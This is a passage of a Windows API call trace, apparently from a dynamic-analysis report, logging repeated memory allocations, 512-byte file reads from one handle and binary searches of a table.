(uFlags=0x40, uBytes=0x200) returned 0x7286c20 [0099.836] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=45056, lpDistanceToMoveHigh=0x6a1e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e838*=0) returned 0xb000 [0099.836] ReadFile (in: hFile=0x12b4, lpBuffer=0x7286c20, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e848, lpOverlapped=0x0 | out: lpBuffer=0x7286c20*, lpNumberOfBytesRead=0x6a1e848*=0x200, lpOverlapped=0x0) returned 1 [0099.836] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.836] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=39424, lpDistanceToMoveHigh=0x6a1e758*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e758*=0) returned 0x9a00 [0099.836] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e768, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e768*=0x200, lpOverlapped=0x0) returned 1 [0099.836] LocalAlloc (uFlags=0x40, uBytes=0x280) returned 0x2853070 [0099.836] LocalReAlloc (hMem=0x2853070, uBytes=0x640, uFlags=0x2) returned 0x43158f0 [0099.836] LocalFree (hMem=0x72840d0) returned 0x0 [0099.836] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.837] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=43008, lpDistanceToMoveHigh=0x6a1e758*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e758*=0) returned 0xa800 [0099.837] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e768, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e768*=0x200, lpOverlapped=0x0) returned 1 [0099.837] LocalFree (hMem=0x72840d0) returned 0x0 [0099.837] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.837] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=44544, lpDistanceToMoveHigh=0x6a1e758*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e758*=0) returned 0xae00 [0099.837] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e768, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e768*=0x200, lpOverlapped=0x0) returned 1 [0099.837] LocalReAlloc (hMem=0x43158f0, uBytes=0xbe0, uFlags=0x2) returned 0x4457620 [0099.837] LocalFree (hMem=0x72840d0) returned 0x0 [0099.837] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.837] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=47104, lpDistanceToMoveHigh=0x6a1e758*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e758*=0) returned 0xb800 [0099.838] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e768, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e768*=0x200, lpOverlapped=0x0) returned 1 [0099.838] LocalFree (hMem=0x72840d0) returned 0x0 [0099.838] LocalFree (hMem=0x7286c20) returned 0x0 [0099.838] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x7286c20 [0099.838] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=63488, lpDistanceToMoveHigh=0x6a1e848*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e848*=0) returned 0xf800 [0099.838] ReadFile (in: hFile=0x12b4, lpBuffer=0x7286c20, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e858, lpOverlapped=0x0 | out: lpBuffer=0x7286c20*, lpNumberOfBytesRead=0x6a1e858*=0x200, lpOverlapped=0x0) returned 1 [0099.838] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.838] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=48128, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xbc00 [0099.838] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0099.838] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x44666a0 [0099.838] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457da0 [0099.838] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x4466400 [0099.838] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457fd0 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x4466d60 [0099.839] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457eb8 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x4466e20 [0099.839] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457e18 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x72022f0 [0099.839] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201510 [0099.839] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201570 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x72015d0 [0099.839] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457f30 [0099.839] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201630 [0099.840] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457e40 [0099.840] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x72016f0 [0099.840] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457620 [0099.840] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201690 [0099.840] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0099.840] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201750 [0099.840] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0099.840] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201810 [0099.840] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457698 [0099.840] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201870 [0099.840] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457918 [0099.840] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x72018d0 [0099.841] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457710 [0099.841] LocalFree (hMem=0x72840d0) returned 0x0 [0099.841] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.841] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=54784, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xd600 [0099.841] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0099.841] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201930 [0099.841] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44576e8 [0099.841] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201990 [0099.841] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44576c0 [0099.841] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201a50 [0099.841] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457738 [0099.841] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201ab0 [0099.841] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457760 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201b10 [0099.842] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457788 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201b70 [0099.842] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44577d8 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201bd0 [0099.842] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457800 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201c30 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201c90 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201cf0 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x7201d50 [0099.842] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44577b0 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x72028f0 [0099.842] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e39a0 [0099.842] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457850 [0099.843] LocalFree (hMem=0x72840d0) returned 0x0 [0099.843] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0099.843] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=44032, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xac00 [0099.843] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0099.843] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3ca0 [0099.843] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e38e0 [0099.843] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457878 [0099.843] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3ac0 [0099.843] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457698 [0099.843] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e32e0 [0099.843] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457b20 [0099.843] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3a00 [0099.843] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457bc0 [0099.843] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457b70 [0099.844] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3640 [0099.844] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0099.844] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3940 [0099.844] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0099.844] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2d40 [0099.844] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457828 [0099.844] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e30a0 [0100.250] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457b48 [0100.263] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e31c0 [0100.267] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0100.267] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3160 [0100.267] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0100.270] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e25c0 [0100.270] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44578a0 [0100.270] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3040 [0100.270] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457620 [0100.271] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3460 [0100.271] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0100.274] LocalFree (hMem=0x72840d0) returned 0x0 [0100.274] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0100.274] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=55296, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xd800 [0100.274] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0100.274] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e34c0 [0100.274] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0100.274] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e35e0 [0100.274] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457e90 [0100.274] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e36a0 [0100.274] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457620 [0100.275] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3700 [0100.275] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457dc8 [0100.275] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3760 [0100.275] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457ff8 [0100.275] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e3100 [0100.275] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44578c8 [0100.275] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2fe0 [0100.275] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457620 [0100.275] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2e00 [0100.275] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0100.275] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2e60 [0100.275] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0100.276] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2bc0 [0100.276] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44578f0 [0100.276] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2ec0 [0100.276] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457620 [0100.276] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2da0 [0100.276] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457648 [0100.276] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2aa0 [0100.276] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457670 [0100.276] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e29e0 [0100.276] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457940 [0100.277] LocalFree (hMem=0x72840d0) returned 0x0 [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0100.277] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=61952, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xf200 [0100.277] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2b60 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2980 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2560 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2440 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2620 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e27a0 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2860 [0100.277] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.277] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2920 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2260 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e26e0 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2200 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e2320 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e21a0 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e23e0 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalFree (hMem=0x72840d0) returned 0x0 [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0100.278] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=43520, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xaa00 [0100.278] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e24a0 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8b80 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea8c0 [0100.278] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.278] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea7a0 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea380 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea4a0 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea200 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea440 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea320 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea0e0 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9180 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9d20 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9fc0 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea2c0 [0100.279] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.279] LocalFree (hMem=0x72840d0) returned 0x0 [0100.279] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0100.279] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=50688, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xc600 [0100.279] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9f60 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea140 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea080 [0100.280] 